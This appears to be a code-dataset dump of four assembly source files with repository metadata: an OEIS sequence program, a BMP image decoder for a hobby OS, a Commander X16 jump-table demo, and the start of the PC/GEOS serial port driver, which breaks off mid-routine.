71dc013f92cadc413caf11c6184d73defa6476fb | 375 | asm | Assembly | oeis/142/A142342.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/142/A142342.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/142/A142342.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A142342: a(n) = 10*prime(n).
; Submitted by Jamie Morken(s3)
; 20,30,50,70,110,130,170,190,230,290,310,370,410,430,470,530,590,610,670,710,730,790,830,890,970,1010,1030,1070,1090,1130,1270,1310,1370,1390,1490,1510,1570,1630,1670,1730,1790,1810,1910,1930,1970,1990,2110,2230,2270
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
mul $0,10
| 41.666667 | 217 | 0.725333 |
74d05de2aee21a932e91c8e3549832655b8242c0 | 15,526 | nasm | Assembly | day29/harib26d/src/app/gview/bmp.nasm | kamaboko123/30daysOS | 0d8d1057a6963abb3bfef232bdf32648d7437e20 | [
"Unlicense"
] | 31 | 2019-04-07T07:15:26.000Z | 2022-02-17T10:53:47.000Z | day29/harib26d/src/app/gview/bmp.nasm | kamaboko123/30daysOS | 0d8d1057a6963abb3bfef232bdf32648d7437e20 | [
"Unlicense"
] | 4 | 2019-01-25T02:51:16.000Z | 2021-06-02T13:18:04.000Z | day29/harib26d/src/app/gview/bmp.nasm | kamaboko123/30daysOS | 0d8d1057a6963abb3bfef232bdf32648d7437e20 | [
"Unlicense"
] | 5 | 2019-09-29T01:38:49.000Z | 2021-09-28T21:03:58.000Z | ; BMP decode routine by I.Tak. 2003
section .text align=1
[bits 32]
;BMP File Structure (I can't understand MS.)
struc BMP
;FILE HEADER
.fType: resw 1 ;BM
.fSize: resd 1 ;whole file size
resd 1 ;reserved
.fOffBits: resd 1 ;offset from file top to image
;INFO HEADER
.iSize: resd 1 ;INFO HEADER size
.iWidth: resd 1 ;Image Width in pixels
.iHeight: resd 1 ;Image Height in pixels
.iPlanes: resw 1 ;must be 1
.iBitCount: resw 1 ;BitPerPixel 1, 4, 8, 24 (and 15,16 for new OS/2 ?)
.iCompression: resd 1 ;Compress Type. 0 for none, then SizeImage=0
.iSizeImage: resd 1 ;Image Size(compressed)
.iXPPM: resd 1 ;X Pixel Per Meter
.iYPPM: resd 1
.iClrUsed: resd 1 ;Number of used ColorQuad (0 for whole Quad)
.iClrImportant: resd 1 ;Number of Important ColorQuad.
endstruc
struc BMPOS2
;FILE HEADER
.fType: resw 1 ;BM
.fSize: resd 1 ;whole file size
resd 1 ;reserved
.fOffBits: resd 1 ;offset from file top to image
;CORE HEADER
.iSize: resd 1 ;CORE HEADER size
.iWidth: resw 1 ;Image Width in pixels
.iHeight: resw 1 ;Image Height in pixels
.iPlanes: resw 1 ;must be 1
.iBitCount: resw 1 ;BitPerPixel 1, 4, 8, 24 (and 15,16 for new OS/2 ?)
endstruc
; B/W bmp can also have palettes. The first for 0, second for 1.
struc CQuad
.b: resb 1
.g: resb 1
.r: resb 1
resb 1 ;reserved
endstruc
%if 0
int info_BMP(struct DLL_STRPICENV *env, int *info, int size, UCHAR *fp);
/* 成功したら1 (非0?), 失敗したら0 */
int decode0_BMP(struct DLL_STRPICENV *env, int size, UCHAR *fp,
int b_type, UCHAR *buf, int skip);
/* エラーコードを返す。とりあえず非0にしてるだけ */
envは64KBのワークエリアである。先頭8dwは返り値用になっている。
揮発性らしく, インスタンス変数的には使えないようだ。JPEG_initで
base_imgを作るのはdecodeのときだけでいいと思う。
%endif
[absolute 0] ;naskなら[section .bss] org 0 かな win32だからダメか
bmpinfo:
.regs: resd 4
.reteip: resd 1
.env: resd 1
.info: resd 1
.size: resd 1
.module: resd 1
[absolute 0]
info:
.type: resd 1 ;1 for BMP, 2 for JPEG
resd 1 ;0
.width: resd 1
.height: resd 1
[section .text]
[global info_BMP]
info_BMP:
push ebx
push ebp
push esi
push edi
mov esi, [esp+bmpinfo.module]
mov eax, [esp+bmpinfo.size]
call bmpHeader
test edi, edi
jz .ret
mov esi, [esp+bmpinfo.info]
mov [esi+info.width], eax
mov [esi+info.height], ecx
mov [esi+info.type], edi ;=1
dec edi
mov [esi+info.type+4], edi ;=0
inc edi
.ret: mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
;in: esi=module, eax=size
;ret:eax=width, ecx=hegiht, edx=paletteSize, ebx=palette
; ebp=bpp, esi=endOfImage, edi=successFlag
bmpHeader:
lea edx, [esi+eax] ;moduleEnd
xor edi, edi
push edx
xor edx, edx
cmp eax, byte BMP.iSize+4
jbe ..@ret ;中継してしまう
cmp word[esi],'BM'
je .notMAC
sub esi, byte -128
add eax, byte -128
pop ebx
push eax
cmp eax, byte BMP.iSize+4
..@ret: jbe .ret
cmp word[esi], 'BM'
jne .ret
.notMAC:
;;MS,OS/2 フォーマット確認
mov ecx, [esi +BMP.iSize]
cmp ecx, byte 12 ;OS/2 format.
jne .MS
cmp eax, byte BMPOS2_size
jbe .ret ;coreヘッダなし
lea ebx, [esi+ecx+14] ;palette
movzx eax, word[esi+BMPOS2.iWidth] ;width
movzx ecx, word[esi+BMPOS2.iHeight] ;height
movzx ebp, word[esi+BMPOS2.iBitCount] ;bpp
mov dl, 3 ;paletteSize
jmp short .endif
.MS: cmp eax, byte BMP_size
jbe .ret ;infoヘッダなし
lea ebx, [esi+ecx+14]
sub ecx,byte 40
jne .ret ;unknownFormat
cmp ecx, [esi+BMP.iCompression]
jne .ret ;Compressed.
mov eax, [esi+BMP.iWidth] ;width
mov ecx, [esi+BMP.iHeight] ;height
movzx ebp, word[esi +BMP.iBitCount] ;bpp
mov dl, 4 ;paletteSize
.endif:
add esi, [esi +BMP.fOffBits]
;sizeが小さい場合heightを削ってで?
;読めると答えるべきだろう。今はエラー
push edx
push eax
mul ebp ;eax=width*bpp
add eax, byte 7
shr eax, 3 ;lineSizeWithoutPudding
mov edx, eax
add eax, byte 3 ;size<1GBを仮定してedxを無?
and al, -4 ;lineSizeWithPudding
sub edx, eax ;-puddingSize
push edx
mul ecx
pop edx
add esi, eax
add esi, edx ;最終行の最後にはpuddingがないと見るべき
cmp esi, [esp+8] ;endOfModule
pop eax
ja .ret2
sub esi, edx ;esi=endOfImage
inc edi ;succeeded!
.ret2: pop edx
.ret: add esp, byte 4
ret
;***************************************************************
; 小ささ優先で作っているが, 速さ優先で作った昔のよりいいかも。
; 品質最低の高速モードのみ作ってい?
[absolute 0]
decode:
.regs: resd 4
.reteip: resd 1
.env: resd 1
.size: resd 1
.module: resd 1
.outputType: resd 1
.dest: resd 1
.skip: resd 1
[section .text]
[global decode0_BMP]
decode0_BMP:
push ebx
push ebp
push esi
push edi
mov esi, [esp+decode.module]
mov eax, [esp+decode.size]
call bmpHeader
;ret:eax=width, ecx=hegiht, edx=paletteSize, ebx=palette
; ebp=bpp, esi=endOfImage, edi=successFlag
test edi,edi
jz .error
mov edi, [esp+decode.dest]
push dword[esp+decode.outputType]
push dword[esp+4+decode.skip]
push ecx ;height
push eax
push edx
mul ebp
add eax, byte 31
shr eax, 3
and al, -4
push eax
mov edx, ebp
mov ebp, esp
call bmp2beta ;ecx!=0 for error
add esp, byte bb.size
mov eax, ecx
test ecx, ecx
jz .ret
.error: push byte 1
pop eax
.ret: pop edi
pop esi
pop ebp
pop ebx
ret
[absolute -4*2]
bb:
.col0: resd 1 ;bpp1で使う
.reteip: resd 1
.sw: resd 1 ;byte
.paletteSize: resd 1 ;byte
.w: resd 1 ;pixel
.h: resd 1
.s: resd 1
.t: resd 1
.size: equ $-$$
[section .text]
;eax=?, ecx=height, edx=bpp, ebx=palette
;ebp=bb, esi=endOfImage, edi=dest
bmp2beta:
mov al, [ebp+bb.t]
and al, 0x7f
cmp al, 2
je near buf16
cmp al, 4
je buf32
mov ecx, esp ;!=0
ret
;===============================================================
; Buffer mode 4
;===============================================================
buf32:
dec edx
je near .bpp1
sub edx, byte 4-1
je .bpp4
sub edx, byte 8-4
je .bpp8
sub edx, byte 24-8
je .bpp24
mov ecx, esp ;!=0
ret
;---------------------------------------------------
; 24bpp BMP to 4byte bufer
;---------------------------------------------------
.bpp24:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;bb.w=width(pixel), bb.s=skipByte, bb.h=height
;bb.t=outputType, bb.sw=sourceWidthByte
.do24.1:
sub esi, [ebp+bb.sw] ;esi=startOfLine
push ecx
push esi
mov ecx, [ebp+bb.w]
.do24.2:
mov al, [esi]
mov [edi+3], dl
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
add esi, byte 3
add edi, byte 4
dec ecx
jnz .do24.2
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do24.1
ret
;---------------------------------------------------
; 8bpp BMP to 4byte buffer
;---------------------------------------------------
.bpp8:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov dl, 255
mov eax, [ebp+bb.paletteSize]
sub ebx, eax
shl eax, 8
add ebx, eax ;ebx += paletteSize*255
.do8.1:
mov eax, [ebx]
sub ebx, [ebp+bb.paletteSize]
and eax, 0x00ffffff
dec edx
push eax
jns .do8.1
.do8.2:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do8.3:
xor eax, eax
add edi, byte 4
mov al, [esi]
inc esi
;AGI stole
mov eax, [esp+eax*4+8]
dec ecx
mov [edi-4], eax
jnz .do8.3
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do8.2
add esp, 256*4 ;palette
ret
;---------------------------------------------------
; 4bpp BMP to 4byte buffer
;---------------------------------------------------
.bpp4:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov dl, 16
mov eax, [ebp+bb.paletteSize]
sub ebx, eax
shl eax, 4
add ebx, eax ;ebx+=eax*15
.do4.1
mov eax, [ebx]
sub ebx, [ebp+bb.paletteSize]
and eax, 0x00ffffff
dec edx
push eax
jnz .do4.1
.do4.2:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do4.3:
xor edx, edx
mov al, [esi]
mov dl, al
inc esi
shr dl, 4
and eax, byte 15
add edi, byte 4
dec ecx
mov edx, [esp+edx*4+8]
mov eax, [esp+eax*4+8]
mov [edi-4], edx
jz .wend
mov [edi], eax
add edi, byte 4
dec ecx
jnz .do4.3
.wend: pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do4.2
add esp, 16*4 ;palette
ret
;---------------------------------------------------
; 1bpp BMP to 4byte buffer
;---------------------------------------------------
.bpp1:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov eax, [ebx]
add ebx, [ebp+bb.paletteSize]
and eax, 0x00ffffff
mov ebx, [ebx]
and ebx, 0x00ffffff
xor ebx, eax
;push ebx
push eax
.do1.1:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do1.2:
mov dl, [esi]
inc esi
push esi
mov esi, 8
.do1.3:
add edi, byte 4
add dl, dl
sbb eax, eax
and eax, ebx
xor eax, [ebp+bb.col0]
dec ecx
mov [edi-4], eax
jz .wend1bpp
dec esi
jnz .do1.3
pop esi
jmp short .do1.2
.wend1bpp:pop ecx
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do1.1
pop eax
ret
;===============================================
; Buffer mode 2byte
;===============================================
buf16:
dec edx
je near .bpp1
sub edx, byte 4-1
je near .bpp4
sub edx, byte 8-4
je .bpp8
sub edx, byte 24-8
je .bpp24
mov ecx, esp
ret
;---------------------------------------------------
; 24bpp BMP to 2byte bufer
;---------------------------------------------------
.bpp24:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
.do24.1:
sub esi, [ebp+bb.sw] ;esi=startOfLine
push ecx
push esi
mov ecx, [ebp+bb.w]
.do24.2:
mov al, [esi+2]
shl eax, 16
mov ax, [esi]
add esi, byte 3
;減色処理 eax=24bitColor, edx=work, ecx=counter, ebx=work
;川合さんの趣味で没ったルーチンを持ってくるもよし(ぉ
;誤差拡散ルーチンを持ってくるもよし
shr ah, 2 ;???????? RRRRRrrr 00GGGGGG BBBBBbbb
inc edi
shr eax, 3 ;000????? ???RRRRR rrr00GGG GGGBBBBB
shl ax, 5 ;000????? ???RRRRR GGGGGGBB BBB00000
inc edi
shr eax, 5 ;00000000 ???????? RRRRRGGG GGGBBBBB
dec ecx
mov [edi-2], ax
jnz .do24.2
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do24.1
ret
;---------------------------------------------------
; 8bpp BMP to 2byte buffer
;---------------------------------------------------
.bpp8:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov dl, 255
mov eax, [ebp+bb.paletteSize]
sub ebx, eax
shl eax, 8
add ebx, eax ;ebx += paletteSize*255
.do8.1:
mov eax, [ebx]
sub ebx, [ebp+bb.paletteSize]
call .paletteConv
dec edx
push eax
jns .do8.1
.do8.2:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do8.3:
xor eax, eax
add edi, byte 2
mov al, [esi]
inc esi
;AGI stole
mov eax, [esp+eax*4+8]
dec ecx
mov [edi-2], ax
jnz .do8.3
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do8.2
add esp, 256*4 ;palette
ret
;---------------------------------------------------
; 4bpp BMP to 2byte buffer
;---------------------------------------------------
.bpp4:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov dl, 16
mov eax, [ebp+bb.paletteSize]
sub ebx, eax
shl eax, 4
add ebx, eax ;ebx+=eax*15
.do4.1:
mov eax, [ebx]
sub ebx, [ebp+bb.paletteSize]
call .paletteConv
dec edx
push eax
jnz .do4.1
.do4.2:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do4.3:
xor edx, edx
mov al, [esi]
mov dl, al
inc esi
shr dl, 4
and eax, byte 15
add edi, byte 2
dec ecx
mov edx, [esp+edx*4+8]
mov eax, [esp+eax*4+8]
mov [edi-2], dx
jz .wend
mov [edi], ax
add edi, byte 2
dec ecx
jnz .do4.3
.wend: pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do4.2
add esp, 16*4 ;palette
ret
;---------------------------------------------------
; 1bpp BMP to 2byte buffer
;---------------------------------------------------
.bpp1:
;ecx=height, edx=0, ebx=palette
;esi=endOfImage, edi=destinationBuffer
;pallete変換
mov eax, [ebx]
add ebx, [ebp+bb.paletteSize]
call .paletteConv
push eax
mov eax, [ebx]
call .paletteConv
pop ebx
xchg eax, ebx
xor ebx, eax
push eax
.do1.1:
sub esi, [ebp+bb.sw] ;esi=firstLineStart
push ecx
push esi
mov ecx, [ebp+bb.w]
.do1.2:
mov dl, [esi]
inc esi
push esi
mov esi, 8
.do1.3:
add dl, dl
inc edi
sbb eax, eax
inc edi
and eax, ebx
xor eax, [ebp+bb.col0]
dec ecx
mov [edi-2], ax
jz .wend1bpp
dec esi
jnz .do1.3
pop esi
jmp short .do1.2
.wend1bpp:
pop ecx
pop esi
pop ecx
add edi, [ebp+bb.s]
dec ecx
jnz .do1.1
pop eax
ret
.paletteConv:
shr ah, 2
shr eax, 3
shl ax, 5
shr eax, 5
ret
| 23.996909 | 73 | 0.478745 |
897bfb6fbb460b63af99ee0fe92f09c8ea56a6eb | 1,105 | asm | Assembly | jumptable.asm | JimmyDansbo/cx16stuff | e052dfcb98a3b2418bc80586173d9f83488593a6 | [
"Unlicense"
] | null | null | null | jumptable.asm | JimmyDansbo/cx16stuff | e052dfcb98a3b2418bc80586173d9f83488593a6 | [
"Unlicense"
] | null | null | null | jumptable.asm | JimmyDansbo/cx16stuff | e052dfcb98a3b2418bc80586173d9f83488593a6 | [
"Unlicense"
] | 1 | 2019-11-23T23:43:23.000Z | 2019-11-23T23:43:23.000Z | *=$0801
!word $080C ; Pointer to next BASIC line
!word $000A ; Line number $000A = 10
!byte $9E ; SYS BASIC token
!pet " $810",0 ; Address where ASM starts
!word $0000 ; EOF BASIC program
*=$0810
CHROUT = $FFD2
main_func:!byte $ff
inc Count ; Addresses are 16bit so 2 bytes
inc Count ; Increment twice
ldx Count ; Load index to jump table
cpx #8 ; If it is 8, we have gone through all 4
beq @main_end
lda Jump_table,x ; Load LSB of address
sta $00 ; Store in ZP mem
lda Jump_table+1,x ; Load MSB of address
sta $00+1 ; Store in ZP mem
jmp ($00) ; Do indrect jump to function
@main_end:
rts
; Write 1 and a new line on screen
func1:
lda #$31
jsr CHROUT
lda #13
jsr CHROUT
jmp main_func
; Write 2 and a new line on screen
func2:
lda #$32
jsr CHROUT
lda #13
jsr CHROUT
jmp main_func
; Write 3 and a new line on screen
func3:
lda #$33
jsr CHROUT
lda #13
jsr CHROUT
jmp main_func
; Write 4 and a new line on screen
func4:
lda #$34
jsr CHROUT
lda #13
jsr CHROUT
jmp main_func
Count !byte $FE
Jump_table
!word func1
!word func2
!word func3
!word func4
| 17 | 49 | 0.683258 |
3842e210ef34fb348c9334781aeddea77cc43d03 | 129,862 | asm | Assembly | Driver/Stream/Serial/serialMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Driver/Stream/Serial/serialMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Driver/Stream/Serial/serialMain.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1990 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Serial Driver - Public Interface
FILE: serial.asm
AUTHOR: Adam de Boor, Jan 12, 1990
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Adam 1/12/90 Initial revision
andres 12/10/96 Modified for Penelope
DESCRIPTION:
Code to communicate with multiple serial ports.
Some notes of interest:
There can be up to four serial ports on some machines, but
there are only two interrupt levels allocated to the things, and
most cards don't handle sharing the levels well at all (maybe
because they're edge-triggered...). Some cards, however, offer other
levels besides SDI_ASYNC and SDI_ASYNC_ALT, so we allow the user
to specify the level in the .ini file under the [serial] category:
port 1 = <num> gives the interrupt level for COM1
port 2 = <num> gives the interrupt level for COM2
port 3 = <num> gives the interrupt level for COM3
port 4 = <num> gives the interrupt level for COM4
The given interrupt level is verified, however, and the specification
ignored if it is not correct.
When a port is opened, its interrupt vector will be snagged by the
driver, but not before then.
$Id: serialMain.asm,v 1.96 98/05/05 17:49:49 cthomas Exp $
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
include serial.def
include initfile.def
include heap.def ; need HF_FIXED
UseDriver Internal/powerDr.def
if LOG_MODEM_SETTINGS
include Internal/log.def
endif
DefStub macro realFunc
Resident segment resource
realFunc&Stub proc near
call realFunc
ret
realFunc&Stub endp
Resident ends
endm
;------------------------------------------------------------------------------
; MISCELLANEOUS VARIABLES
;------------------------------------------------------------------------------
idata segment
if STANDARD_PC_HARDWARE
if NEW_ISR
primaryVec SerialVectorData <,,MiniSerialPrimaryInt,SDI_ASYNC>
alternateVec SerialVectorData <,,MiniSerialAlternateInt,SDI_ASYNC_ALT>
weird1Vec SerialVectorData <,,MiniWeird1Int>
weird2Vec SerialVectorData <,,MiniWeird2Int>
else
primaryVec SerialVectorData <,,SerialPrimaryInt,SDI_ASYNC>
alternateVec SerialVectorData <,,SerialAlternateInt,SDI_ASYNC_ALT>
weird1Vec SerialVectorData <,,SerialWeird1Int>
; Data for first weird
; port interrupting at
; non-standard level
weird2Vec SerialVectorData <,,SerialWeird2Int>
; Data for second weird
; port interrupting at
; non-standard level
endif ; NEW_ISR
irpc n,<12345678>
;
; Data for the active port
;
com&n SerialPortData <
0,0,0, offset com&n&_Sem, offset com&n&_passive, 0,
SERIAL_COM&n
>
com&n&_Sem Semaphore
;
; Data for the passive port
;
com&n&_passive SerialPortData <
0,0,0, offset com&n&_passive_Sem, offset com&n, mask SPS_PASSIVE,
SERIAL_COM&n&_PASSIVE
>
com&n&_passive_Sem Semaphore
endm
;
; com port table of structures
;
comPorts nptr.SerialPortData com1, com2, com3, com4,
com5, com6, com7, com8
;
; These are the passive representations of the serial ports, used when
; dealing with a passive (read-only, preemptible) connection.
;
comPortsPassive nptr.SerialPortData com1_passive, com2_passive, com3_passive,
com4_passive, com5_passive, com6_passive,
com7_passive, com8_passive
else
ImplementMe
endif ; ------------------- HARDWARE TYPE ---------------------------------
idata ends
udata segment
;
; Device map to return from DR_STREAM_GET_DEVICE_MAP
;
deviceMap SerialDeviceMap <0,0,0,0,0,0,0,0>
powerStrat fptr.far
udata ends
if INTERRUPT_STAT
udata segment
com1Stat InterruptStatStructure
com2Stat InterruptStatStructure
com3Stat InterruptStatStructure
udata ends
endif ; INTERRUPT_STAT
;------------------------------------------------------------------------------
; Driver info table
;------------------------------------------------------------------------------
Resident segment resource
DriverTable DriverInfoStruct <
SerialStrategy, mask DA_CHARACTER, DRIVER_TYPE_STREAM
>
ForceRef DriverTable
Resident ends
idata segment
numPorts word 0 ; No known ports... will be changed by
; SerialRealInit
idata ends
Resident segment resource
DefFunction macro funcCode, routine
if ($-serialFunctions) ne funcCode
ErrMessage <routine not in proper slot for funcCode>
endif
.assert (TYPE routine eq NEAR) AND (SEGMENT routine eq @CurSeg), <Improper serial handler routine>
nptr routine
endm
serialFunctions label nptr
DefFunction DR_INIT, SerialInitStub
DefFunction DR_EXIT, SerialExitStub
DefFunction DR_SUSPEND, SerialSuspend
DefFunction DR_UNSUSPEND, SerialUnsuspend
DefFunction DR_STREAM_GET_DEVICE_MAP, SerialGetDeviceMap
DefFunction DR_STREAM_OPEN, SerialOpenStub
DefFunction DR_STREAM_CLOSE, SerialCloseStub
DefFunction DR_STREAM_SET_NOTIFY, SerialSetNotify
DefFunction DR_STREAM_GET_ERROR, SerialHandOff
DefFunction DR_STREAM_SET_ERROR, SerialHandOff
DefFunction DR_STREAM_FLUSH, SerialFlush
DefFunction DR_STREAM_SET_THRESHOLD, SerialHandOff
DefFunction DR_STREAM_READ, SerialRead
DefFunction DR_STREAM_READ_BYTE, SerialReadByte
DefFunction DR_STREAM_WRITE, SerialWrite
DefFunction DR_STREAM_WRITE_BYTE, SerialWriteByte
DefFunction DR_STREAM_QUERY, SerialHandOff
DefFunction DR_SERIAL_SET_FORMAT, SerialSetFormat
DefFunction DR_SERIAL_GET_FORMAT, SerialGetFormat
DefFunction DR_SERIAL_SET_MODEM, SerialSetModem
DefFunction DR_SERIAL_GET_MODEM, SerialGetModem
DefFunction DR_SERIAL_OPEN_FOR_DRIVER, SerialOpenStub
DefFunction DR_SERIAL_SET_FLOW_CONTROL, SerialSetFlowControl
DefFunction DR_SERIAL_DEFINE_PORT, SerialDefinePortStub
DefFunction DR_SERIAL_STAT_PORT, SerialStatPort
DefFunction DR_SERIAL_CLOSE_WITHOUT_RESET, SerialCloseWithoutResetStub
DefFunction DR_SERIAL_REESTABLISH_STATE, SerialReestablishState
DefFunction DR_SERIAL_PORT_ABSENT, SerialPortAbsent
DefFunction DR_SERIAL_GET_PASSIVE_STATE, SerialGetPassiveState
DefFunction DR_SERIAL_GET_MEDIUM, SerialGetMedium
DefFunction DR_SERIAL_SET_MEDIUM, SerialSetMedium
DefFunction DR_SERIAL_SET_BUFFER_SIZE, SerialSetBufferSizeStub
DefFunction DR_SERIAL_ENABLE_FLOW_CONTROL, SerialEnableFlowControl
DefFunction DR_SERIAL_SET_ROLE, SerialSetRole
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialStrategy
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Entry point for all serial-driver functions
CALLED BY: GLOBAL
PASS: di = routine number
bx = open port number (usually)
RETURN: depends on function, but an ever-present possibility is
carry set with AX = STREAM_CLOSING
DESTROYED:
PSEUDO CODE/STRATEGY:
There are three classes of functions in this interface:
- those that open a port
- those that work on an open port
- those that don't require a port to be open
Each open port has a reference count that must be incremented
for #2 functions on entry and decremented on exit.
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 1/14/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
;serialData sptr dgroup
SerialStrategy proc far uses es, ds
.enter
push bx
EC < cmp di, SerialFunction >
EC < ERROR_AE INVALID_FUNCTION >
segmov es, ds ; In case segment passed in DS
push bx
mov bx, handle dgroup
call MemDerefDS
pop bx
; mov ds, cs:serialData
cmp di, DR_STREAM_OPEN
jb openNotNeeded
je openCall
cmp di, DR_SERIAL_OPEN_FOR_DRIVER
je openCall
cmp di, DR_SERIAL_DEFINE_PORT
je definePort
cmp di, DR_SERIAL_STAT_PORT
je openNotNeeded
cmp di, DR_SERIAL_SET_MEDIUM
ja mustBeOpen
cmp di, DR_SERIAL_GET_PASSIVE_STATE
jae openNotNeeded ;(get_passive_state,
;get_medium, and set_medium may
;all be done with the port open
;or closed)
mustBeOpen:
;
; Point at port data if already open -- most things will
; need it.
;
call SerialGetPortData ; bx <- port data offset
;
; Up the reference count if the port is open. Fail if it's closed.
;
call SysEnterCritical
IsPortOpen bx
jg portNotOpen
inc ds:[bx].SPD_refCount
call SysExitCritical
;
; Call the function.
;
push ds, bx
call cs:serialFunctions[di]
pop ds, bx
decRefCount:
;
; Port open/call complete. Reduce the reference count and clean up the
; streams/V the openSem if the count is now 0. Again the check & cleanup
; must be atomic. The port state should have been reestablished, and
; any control returned to the passive open, in SerialClose
;
pushf
call SysEnterCritical
EC < tst ds:[bx].SPD_refCount >
EC < ERROR_Z REF_COUNT_UNDERFLOW >
dec ds:[bx].SPD_refCount
jz cleanUpStreams
popf
exitCriticalAndExit:
call SysExitCritical
exit:
pop bx
.leave
ret
openCall:
;
; Open the port and reduce the reference count (initialized to 2) if
; the open succeeds.
;
call SerialOpen
jnc decRefCount
;
; If opened passive port preempted, we still need to drop the refcount
;
cmp ax, STREAM_ACTIVE_IN_USE
stc
je decRefCount
jmp exit
openNotNeeded:
;
; Port doesn't need to be open, so don't bother with the reference
; count or open semaphore.
;
call cs:serialFunctions[di]
jmp exit
portNotOpen:
;
; ERROR: Port is not open. return with carry set and an error enum
;
mov ax, STREAM_CLOSED ; signal error type
stc
jmp exitCriticalAndExit
definePort:
;
; Defining a new port. No reference count shme, but we have to
; return a different BX than we were passed, so we have to handle
; this specially.
;
call cs:serialFunctions[di]
inc sp ; return the BX we got back
inc sp
push bx
jmp exit
cleanUpStreams:
;
; Ref count down to 0. Finish destroying the two streams and release
; the port.
;
push cx, dx, ax
clr cx
xchg ds:[bx].SPD_inStream, cx
clr dx
xchg ds:[bx].SPD_outStream, dx
mov bx, ds:[bx].SPD_openSem
VSem ds, [bx], TRASH_AX_BX
;
; Exit critical section before attempting to free up the streams.
;
call SysExitCritical
;
; Free the input stream.
;
mov bx, cx
tst bx
jz inStreamGone
call StreamFree
inStreamGone:
;
; Then the output stream.
;
mov bx, dx
tst bx
jz cleanUpDone
call StreamFree
cleanUpDone:
;
; Boogie with appropriate error code & flag from call.
;
pop cx, dx, ax
popf
jmp exit
SerialStrategy endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SerialGetPortData
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Return the offset for the active or passive SerialPortData
associated with a passed SerialPortNum.
CALLED BY: Internal
PASS: bx - SerialPortNum
ds - serialData segment
RETURN: bx - offset to either the active or passive SerialPortData
as indicated by the passed SerialPortNum.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
jeremy 4/ 8/94 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SerialGetPortDataFAR proc far
.enter
call SerialGetPortData
.leave
ret
SerialGetPortDataFAR endp
SerialGetPortData proc near uses si
.enter
EC < push ax, bx >
EC < and bx, (not SERIAL_PASSIVE) >
EC < test bx, 1 >
